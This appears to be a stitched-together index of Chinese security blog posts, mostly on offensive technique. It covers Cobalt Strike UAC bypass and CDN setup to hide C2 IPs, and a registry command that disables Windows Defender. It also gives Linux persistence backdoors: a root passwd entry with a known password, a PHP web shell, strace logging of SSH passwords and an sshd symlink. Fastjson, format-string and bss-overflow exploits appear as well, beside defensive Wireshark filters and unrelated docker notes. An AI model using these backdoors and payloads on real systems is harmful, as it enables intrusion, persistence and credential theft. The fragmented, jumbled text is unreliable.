1 | 金丝雀,以前矿工进入矿坑时候会带一只金丝雀下去,如果矿坑内有有毒气体,金丝雀就会鸣叫甚至死亡,同样这个canary也是缓冲区溢出攻击一种检测手段,当启用栈保护后,函数开始执行的时候会先往栈里插入cookie(金丝雀)信息,当函数真正返回的时候会验证cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉,导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。 |
1 | NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。 |
1 | 内存地址随机化机制(address space layout randomization),有以下三种情况: |
1 | 开启后,code与data都会跟着ALSR |
1 | Relocation Read-Only |
第二个问题就是我们接收到的beacon一般是管理员组的用户,但想要执行一些特殊操作,比如想要执行hashdump或者其他特权命令的时候,需要bypass uac.
1 | 关闭wd reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD /f, |
那么如何bypass uac 呢?同样网上有很多相关的文章,其中当属 hfiref0x的UACME较为流传广泛,且作者一直在更新这个工具(https://github.com/hfiref0x/UACME),~~自己没有去编译这个工具~~,而是使用了另外一款工具,https://github.com/0x9ef/golang-uacbypasser,也是glang写的,用了一下效果还可以,但不免杀,进行bypass uac的时候会被wd干掉,所以还需做一下免杀(或者开启vnc desktop pid x86/64 low/high 远程桌面连接上去之后手动关闭wd)。cs上执行命令 shell main.exe /o /path artifact.exe,之后上线的就是bypass的beacon,这个beacon就直接可以 hashdump以及一些特权操作了。
1 | 如果想使用免费且支持微信模板消息推送的方式可以移步:https://github.com/lintstar/CS-PushPlus |
最近测试了cobaltstrike cdn上线隐藏c2 ip,简短记录一下。
参考了文章 cobalt strike cdn上线笔记,文章没什么问题,但在实际测试过程当中遇到了一些坑点,特此记录一下。
首先自己按照文章搭建好之后发现上不了线
首先排查一下是不是软件的问题,自己用的cs4.3,http的上线没有问题,故排除是cs工具问题
自己用的openjdk,当时怀疑是不是自己用来openjdk的问题,我看有些文章上说是oracle jdk可能会好点儿,但是oracle jdk下载比较费劲,得使用oracle账号登录,费了半天劲发现不是java问题
排查cdn问题,自己ping了一下自己的cdn解析,发现没有问题,而且使用浏览器访问script web delivery 网页的powershell也没有问题,故排除cdn dns配置问题。
后面再次对比文章,发现自己没有开启cloudflare的开发模式,开启之后发现可以上线,但是执行命令没有回显。
wireshark抓包分析没找到原因。
最后搜索文章发现如下两篇文章 CobaltStrike4.4汉化破解及特征去除 Cobalt-Strike去特征配置Nginx反向代理CDN与Cloudflare-Worker
此笔记用于记录qcow2后缀的文件如何转换成vmware格式 以及如何直接运行qcow2.
1 | qemu-img convert -f qcow2 myImage.qcow2 -O vmdk myNewImage.vmdk |
1 | #from https://gist.github.com/mamonu/671038b09f5ae9e034e8 |
1 | #常用命令 |
1 | 1.ALT+CTRL+2进入命令行界面 |
Sysmon用来监视和记录系统活动,并记录到windows事件日志,可以提供相关进程创建、网络连接和文件创建更改时间等详细信息
1 | 使用方法: |
将Sysmon注册到Windows系统中
1 | 文章已首发至先知平台 |
捕获过滤器遵循BPF(Berkeley Packet Filter)语法
例如
1 | host xxx.xxx.xxx.xxx |
一些恶意软件的捕获过滤器语句
Blasater Worm:
• dst port 135 and tcp port 135 and ip[2:2]==48
Welchia Worm:
• icmp[icmptype]==icmp-echo and ip[2:2]==92 and icmp[8:4]==0xAAAAAAAA
Looking for worms calling C2s:
• dst port 135 or dst port 445 or dst port 1433 and tcp[tcpflags] & (tcp-syn) != 0 and tcp[tcpflags] & (tcp-ack) = 0 and src net 192.168.0.0/24
Heartbleed Exploit:
• tcp src port 443 and (tcp[((tcp[12] & 0xF0) >> 4 ) 4] = 0x18) and (tcp[((tcp[12] & 0xF0) >> 4 ) 4 + 1] = 0x03) and (tcp[((tcp[12] & 0xF0) >> 4 ) 4 + 2] < 0x04) and ((ip[2:2] - 4 (ip[0] & 0x0F) - 4 * ((tcp[12] & 0xF0) >> 4) > 69))
1 | 原文已发布至先知平台 |
1 | dig +trace dns.malware.com |
一般会收到来自teamserver 53端口的默认回复地址0.0.0.0,但如果你的cs配置了profile,且设置了dns_idle,那就不是默认的0.0.0.0,而是你dns_idle的值,这个是cs作者用来逃避检测的一种技巧,只能说作者考虑的有点儿全面orz (之前测试的时候我一直没注意到这个点,一直不明白自己为啥总是返回8.8.8.8,简单逆了一下cobaltstrike.jar 大概看下流程也没怎么看懂,也看了teamserve的log除了几个warning也没什么特别的异常,在服务器上抓了流量也没发现异常,也排除了vps限制或者是dns厂商问题,总之各种弯路都走了…最后事实证明这些都是正常的,是自己在启动teamserver的时候自定义了profile里面的dns_idle为8.8.8.8,害!)。
1 | ZC10K-8EF57-084QZ-VXYXE-ZF2XF |
1 | 原文已发布至先知平台 |
关于密码加密我们可以使用下面的命令
1 | #密码M0rk |
所以我们最终想要在passwd文件中的条目是这个样子的
1 | backdoor:AAhmo1jgYI0HE:0:0:me:/root:/bin/bash |
append the backdoor to passwd file
1 | echo "backdoor:AAhmo1jgYI0HE:0:0:me:/root:/bin/bash">>/etc/passwd |
排查:检查每个用户根目录下面authorized_keys文件是否添加了异常了的公钥。
1 | #enter the mal script directory 、execute the script and then remove the script |
此方法适用于安装了vim且安装了python扩展(绝大部分默认安装)的linux系统,至于恶意脚本dir.py的内容可以是任何功能的后门。如使用python监听9999端口。
1 | #from https://www.leavesongs.com/PYTHON/python-shell-backdoor.html |
pid
/cmdline查看不到具体执行了什么命令或恶意脚本。1 | echo -e "<?=\`\$_POST[good]\`?>\r<?='PHP Test Page >||< ';?>" >/var/www/html/test.php |
1 | ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log \ |
一种是建立sshd的软连接方法,开启其它的端口例如
1 | ln -sf /usr/sbin/sshd /home/su |
优点:简单
1 | #镜像操作常用命令 |
1 | 容器操作常用命令 |
以上是常用的命令,还有就是跟着Docker — 从入门到实践基本操作一下没什么问题。
docker-compose helloworld版
1 | dockerfile |
在一个docker-compose可以开启多个相同image的service,例如
1 | version: '2' |
docker-compose.yml 中version的释义就是compose的高版本需要高版本的docker engine支持,docker engine版本可以通过docker version命令查看。具体的对版本表见下图
推荐使用brew安装pyenv
1 | # Install Homebrew |
使用pyenv install –list 查看可用的python版本
安装(还是brew)
1 | # Install Homebrew |
创建一个虚拟环境 例如 pyenv virtualenv 3.6.1 django-1.10
1 | package FastJsonDemo; |
这里用于将evil.class文件进行BCEL编码。
在作者的poc的基础上精简了一下,直接读取并反序列化外部json文件触发漏洞。
1 | package FastJsonDemo; |
evil.json
1 | { |
其它可能用到的代码已经放到github
如下是函数printf format的参数、输入类型以及输出类型
1 | | Parameter | Input Type | Output Type | |
试想有这样一种情况,我们要求printf打印的数据数量大于我们所给的数量会怎样?printf函数不可能知道栈帧中哪一些数据是它传入的参数,哪些是属于函数调用者的数据。
1 | #fmt_vuln.c |
1 | 编译指令: |
此外还需要$的配合,如下的代码
1 | printf("7th: %7$d, 4th: %4$05d\n", 10, 20, 30, 40, 50, 60, 70, 80); |
会打印输出
1 | 7th: 70, 4th: 00040 |
即%7$d 获取的将是参数列表中第7个元素的值,%4$05d 获取的是第四个参数的值,且有效位长度是5
1 | xxx@ubuntu:~/Desktop/pwntest/formatstringexp$ gdb -q |
使用objdump 查看plt section
1 | xxx@ubuntu:~/Desktop/pwntest/formatstringexp$ objdump -d -j .plt ./fmt_vuln |
如上所示可以看到exit函数的相关跳转,但是这个plt section是READONLY即只读不可修改的
1 | xxx@ubuntu:~/Desktop/pwntest/formatstringexp$ objdump -h ./fmt_vuln | grep -A1 "\ .plt\ " |
但如果仔细看的话,可以知道jmp *0x804a01c 中的jmp地址并不是一个直接的地址,而是一个指针指向的地址,即exit函数的地址是存放在地址0x804a01c处的。
如上说明exit函数是在0x0804a01c这个地址上的。
1 | ./fmt_vuln $(printf "\x1e\xa0\x04\x08\x1c\xa0\x04\x08")%49143x%4\$hn%12981x%5\$hn |
这次我们还是将shellcode放入到环境变量中,然后将exit函数的地址指向shellcode所存放的环境变量(这种一般是用在提权操作上,普通用户运行了setuid的程序)
1 | 原文已发布至seebug |
from game_of_chance.c
1 | // Custom user struct to store information about users |
其中game_of_chance 是如下图的一个小游戏
如上的代码片段中用一个函数指针保存了上次玩了哪个游戏,这个指针保存在user的结构体中,且被声明为全局变量,这意味着user这个结构体变量保存在bss数据段。其中结构体中固定为100字节的name变量保存了用户的姓名,且这个name是可以被input_name()这个函数所控制的,如下:
1 | void input_name() { |
这个函数会接收用户输入的名字直到遇到换行符,所以这里并没有有效的限制用户输入,就意味着有可能被利用,此外我们覆盖之后还需要程序去调用这个函数指针,这个功能可以发生在下面代码的6、8或者10行以及play_the_game()函数中,代码片段如下:
1 | if((choice < 1) || (choice > 7)) |
1 | xxx@ubuntu:~/Desktop/pwntest/bssexploit$ perl -e 'print "A"x100 . "BBBB" . "\n"' |
这个程序通过标准输入进行用户交互,我们完全可以使用脚本实现自动化,如下的例子将会自动选择游戏1,然后猜测数字7,当被问是否还玩的时候选择no,最后通过选择7退出程序。
1 | perl -e 'print "1\n7\nn\n7\n"' | ./game_of_chance |
同样的技巧可以用到自动化exploit中,下面的命令会完成修改用户名为100个A加jackpot()的地址,这个时候就覆盖掉了current_game的地址,然后当再次选择我们要玩的游戏的后,jackpot()函数就会被调用。
1 | xxx@ubuntu:~/Desktop/pwntest/bssexploit$ perl -e 'print "1\n5\nn\n5\n" . "A"x100 . "\xa5\x8c\x04\x08\n" . "1\nn\n" . "7\n"' | ./game_of_chance |
可以看到函数被调用我们增加了100金币
1 | perl -e 'print "1\n5\nn\n5\n" . "A"x100 . "\xa5\x8c\x04\x08\n" . "1\n" ."y\n"x10. "n\n5\nM0rk\n7\n"' | ./game_of_chance |
1 | xxx@ubuntu:~/Desktop/pwntest/bssexploit$ echo $SHELLCODE |